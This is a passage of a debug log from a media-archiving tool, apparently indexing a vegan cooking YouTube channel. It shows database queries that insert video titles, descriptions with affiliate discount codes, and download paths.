s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.624 [debug] QUERY OK source="media_items" db=1.9ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-24 00:00:00Z], 1] 20:31:06.626 [debug] QUERY OK source="media_items" db=1.3ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today's tofu recipe is a kung pao tofu stir fry and we're making this vegan recipe gluten-free, high-protein, and of course plant-based! This vegan recipe is adjustable for your spice level tolerance and has a sauce that's sweet, savoury, and spicy all wrapped into one vegan recipe. \n\nSupport this collab video and check out the Chipotle Lettuce Wraps that George is making at Earthy Goodness Kitchen here! ➡️ \u00A0\u00A0\u00A0•\u00A0Two\u00A0Tofu\u00A0Recipes\u00A0You'll\u00A0Want\u00A0on\u00A0Repeat!\u00A0(F...\u00A0\u00A0\n\nGeorge's Channel ➡️ \u00A0\u00A0\u00A0/\u00A0@earthygoodnesskitchen\u00A0\u00A0\n\nKUNG PAO TOFU STIR FRY RECIPE ➡️ https://steamyvegan.com/kung-pao-tofu/\n\nBelow are some of the recent tofu recipes I've featured on the channel:\nGochujang and Mango Tofu: \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nPeach Salsa Salad and Zucchini Tofu Bacon Salad: \u00A0\u00A0\u00A0•\u00A02\u00A0High\u00A0Protein\u00A0Summer\u00A0Salad\u00A0Recipes\u00A0☀️\u00A0\u00A0\nGinger Sesame Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "Two MUST TRY Tofu Recipes! 🌶🔥 (Ft. @EarthyGoodnessKitchen)", "e6cd6dd9-2a8c-4a72-a82f-84fd490a09c4", 1, [], false, "xeo_quI4_Cw", "https://www.youtube.com/watch?v=xeo_quI4_Cw", 64, "/downloads/downloads/alec/Steamy Vegan/2025-08-24 Two MUST TRY Tofu Recipes! 🌶🔥 (Ft. @EarthyGoodnessKitchen)/Two MUST TRY Tofu Recipes! 🌶🔥 (Ft. @EarthyGoodnessKitchen) [xeo_quI4_Cw].NA", false, false, false, 1, ~U[2025-08-24 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Today's tofu recipe is a kung pao tofu stir fry and we're making this vegan recipe gluten-free, high-protein, and of course plant-based! This vegan recipe is adjustable for your spice level tolerance and has a sauce that's sweet, savoury, and spicy all wrapped into one vegan recipe. \n\nSupport this collab video and check out the Chipotle Lettuce Wraps that George is making at Earthy Goodness Kitchen here! ➡️ \u00A0\u00A0\u00A0•\u00A0Two\u00A0Tofu\u00A0Recipes\u00A0You'll\u00A0Want\u00A0on\u00A0Repeat!\u00A0(F...\u00A0\u00A0\n\nGeorge's Channel ➡️ \u00A0\u00A0\u00A0/\u00A0@earthygoodnesskitchen\u00A0\u00A0\n\nKUNG PAO TOFU STIR FRY RECIPE ➡️ https://steamyvegan.com/kung-pao-tofu/\n\nBelow are some of the recent tofu recipes I've featured on the channel:\nGochujang and Mango Tofu: \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nPeach Salsa Salad and Zucchini Tofu Bacon Salad: \u00A0\u00A0\u00A0•\u00A02\u00A0High\u00A0Protein\u00A0Summer\u00A0Salad\u00A0Recipes\u00A0☀️\u00A0\u00A0\nGinger Sesame Tofu: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "Two MUST TRY Tofu Recipes! 🌶🔥 (Ft. @EarthyGoodnessKitchen)", 1, nil, false, "xeo_quI4_Cw", "https://www.youtube.com/watch?v=xeo_quI4_Cw", "/downloads/downloads/alec/Steamy Vegan/2025-08-24 Two MUST TRY Tofu Recipes! 🌶🔥 (Ft. @EarthyGoodnessKitchen)/Two MUST TRY Tofu Recipes! 🌶🔥 (Ft. @EarthyGoodnessKitchen) [xeo_quI4_Cw].NA", false, ~U[2025-08-24 00:00:00Z]] 20:31:06.627 [debug] QUERY OK source="sources" db=0.7ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.629 [debug] QUERY OK source="media_items" db=1.9ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-17 00:00:00Z], 1] 20:31:06.631 [debug] QUERY OK source="media_items" db=1.2ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this episode, I'll go over 3 easy recipes to make protein coffee, the benefits of protein coffee, and which protein powders are the best for protein coffee. These recipes can be made plant-based, gluten-free, dairy-free, or sugar-free. Hope you enjoy!\n\n💚 PRODUCTS IN THIS EPISODE 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Let's make Protein Coffee! (aka PROFFEE) 💪🏼☕️", "2d46285f-fcb0-4848-9881-ca714ccaab54", 1, [], false, "sVo5Mfcd60I", "https://www.youtube.com/watch?v=sVo5Mfcd60I", 65, "/downloads/downloads/alec/Steamy Vegan/2025-08-17 Let's make Protein Coffee! (aka PROFFEE) 💪🏼☕️/Let's make Protein Coffee! (aka PROFFEE) 💪🏼☕️ [sVo5Mfcd60I].NA", false, false, false, 1, ~U[2025-08-17 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this episode, I'll go over 3 easy recipes to make protein coffee, the benefits of protein coffee, and which protein powders are the best for protein coffee. These recipes can be made plant-based, gluten-free, dairy-free, or sugar-free. Hope you enjoy!\n\n💚 PRODUCTS IN THIS EPISODE 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nPrevious 'Protein Packed Goodies' Episodes:\n1. Protein Bars: \u00A0\u00A0\u00A0•\u00A0Homemade\u00A0Protein\u00A0Bars!\u00A0💪🏼\u00A0Vegan,\u00A0Gluten-Fr...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Protein Powder Review: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Let's make Protein Coffee! (aka PROFFEE) 💪🏼☕️", 1, nil, false, "sVo5Mfcd60I", "https://www.youtube.com/watch?v=sVo5Mfcd60I", "/downloads/downloads/alec/Steamy Vegan/2025-08-17 Let's make Protein Coffee! (aka PROFFEE) 💪🏼☕️/Let's make Protein Coffee! (aka PROFFEE) 💪🏼☕️ [sVo5Mfcd60I].NA", false, ~U[2025-08-17 00:00:00Z]] 20:31:06.632 [debug] QUERY OK source="sources" db=1.0ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.635 [debug] QUERY OK source="media_items" db=2.4ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-14 00:00:00Z], 1] 20:31:06.637 [debug] QUERY OK source="media_items" db=1.2ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today's salad recipes are high-protein with over 30g protein per serving and weight loss friendly with under 500 calories. These summer salads are great year round and they've started to become a staple in my weekly meal prepping. \n\nReally hope you enjoy these and don't forget to subscribe for more high protein plant-based recipes!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nPeach Salsa Salad ➡️ https://steamyvegan.com/peach-salsa-s...\nTofu Bacon & Zucchini Salad ➡️ https://steamyvegan.com/tofu-bacon-zu...\n\nPrevious tofu recipes to check out on the channel:\n1. 3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n2. Mapo Tofu: \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\n3. Tofu Tikka Masala: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n\n💚 SHOP MY FAVE PRODUCTS 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 High Protein Summer Salad Recipes ☀️", "a0a7aae5-bea8-488a-93ed-3715c5af8733", 1, [], false, "v0QMoBqLyDc", "https://www.youtube.com/watch?v=v0QMoBqLyDc", 66, "/downloads/downloads/alec/Steamy Vegan/2025-08-14 2 High Protein Summer Salad Recipes ☀️/2 High Protein Summer Salad Recipes ☀️ [v0QMoBqLyDc].NA", false, false, false, 1, ~U[2025-08-14 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Today's salad recipes are high-protein with over 30g protein per serving and weight loss friendly with under 500 calories. These summer salads are great year round and they've started to become a staple in my weekly meal prepping. \n\nReally hope you enjoy these and don't forget to subscribe for more high protein plant-based recipes!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nPeach Salsa Salad ➡️ https://steamyvegan.com/peach-salsa-s...\nTofu Bacon & Zucchini Salad ➡️ https://steamyvegan.com/tofu-bacon-zu...\n\nPrevious tofu recipes to check out on the channel:\n1. 3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n2. Mapo Tofu: \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\n3. Tofu Tikka Masala: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n\n💚 SHOP MY FAVE PRODUCTS 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 High Protein Summer Salad Recipes ☀️", 1, nil, false, "v0QMoBqLyDc", "https://www.youtube.com/watch?v=v0QMoBqLyDc", "/downloads/downloads/alec/Steamy Vegan/2025-08-14 2 High Protein Summer Salad Recipes ☀️/2 High Protein Summer Salad Recipes ☀️ [v0QMoBqLyDc].NA", false, ~U[2025-08-14 00:00:00Z]] 20:31:06.638 [debug] QUERY OK source="sources" db=0.5ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.640 [debug] QUERY OK source="media_items" db=1.9ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-09 00:00:00Z], 1] 20:31:06.644 [debug] QUERY OK source="media_items" db=3.8ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're making 2 tofu recipes that are high-protein, gluten-free, saucy and as always vegan recipes. We're starting with gochujang tofu, a spicy tofu recipe, and then doing a sweet tofu recipe called mango tofu. Serve both of these up on rice with some veggies and you have yourself the perfect simple meal with all of the macros you need! \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGochujang Tofu ➡️ https://steamyvegan.com/gochujang-tofu/\nMango Tofu ➡️ https://steamyvegan.com/mango-tofu/\n\n💚 PRODUCTS IN THIS EPISODE 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious tofu recipes to check out on the channel:\n1. 3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n2. Mapo Tofu: \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\n3. Tofu Tikka Masala: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 SAUCY Tofu Recipes You Need in Your Life!", "77b89c97-1b25-401f-87ba-ab258f0bee6e", 1, [], false, "ZotYa5_xZ5s", "https://www.youtube.com/watch?v=ZotYa5_xZ5s", 67, "/downloads/downloads/alec/Steamy Vegan/2025-08-09 2 SAUCY Tofu Recipes You Need in Your Life!/2 SAUCY Tofu Recipes You Need in Your Life! [ZotYa5_xZ5s].NA", false, false, false, 1, ~U[2025-08-09 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Today, we're making 2 tofu recipes that are high-protein, gluten-free, saucy and as always vegan recipes. We're starting with gochujang tofu, a spicy tofu recipe, and then doing a sweet tofu recipe called mango tofu. Serve both of these up on rice with some veggies and you have yourself the perfect simple meal with all of the macros you need! \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGochujang Tofu ➡️ https://steamyvegan.com/gochujang-tofu/\nMango Tofu ➡️ https://steamyvegan.com/mango-tofu/\n\n💚 PRODUCTS IN THIS EPISODE 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious tofu recipes to check out on the channel:\n1. 3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n2. Mapo Tofu: \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\n3. Tofu Tikka Masala: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 SAUCY Tofu Recipes You Need in Your Life!", 1, nil, false, "ZotYa5_xZ5s", "https://www.youtube.com/watch?v=ZotYa5_xZ5s", "/downloads/downloads/alec/Steamy Vegan/2025-08-09 2 SAUCY Tofu Recipes You Need in Your Life!/2 SAUCY Tofu Recipes You Need in Your Life! [ZotYa5_xZ5s].NA", false, ~U[2025-08-09 00:00:00Z]] 20:31:06.645 [debug] QUERY OK source="sources" db=0.9ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.647 [debug] QUERY OK source="media_items" db=1.8ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-07 00:00:00Z], 1] 20:31:06.649 [debug] QUERY OK source="media_items" db=1.1ms idle=10.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this realistic what I eat in a day, I vlogged a pretty normal day in my life showing a bunch of vegan recipes that I eat to hit 100g of protein on a vegan diet. I live a pretty healthy lifestyle and I showed off some super easy vegan recipes, my weight training workout, and chatted about what's going in life right now. Enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRecipes mentioned:\nBlueberry Chia Jam: https://steamyvegan.com/chia-jam/\nVegan Caesar Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0\nSesame Ginger Tofu: https://steamyvegan.com/sesame-ginger...\n\n\n💚 PRODUCTS IN THIS EPISODE 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious 'What I Eat Episodes':\n1. 90 Minute Meal Prep What I Eat in a Week: 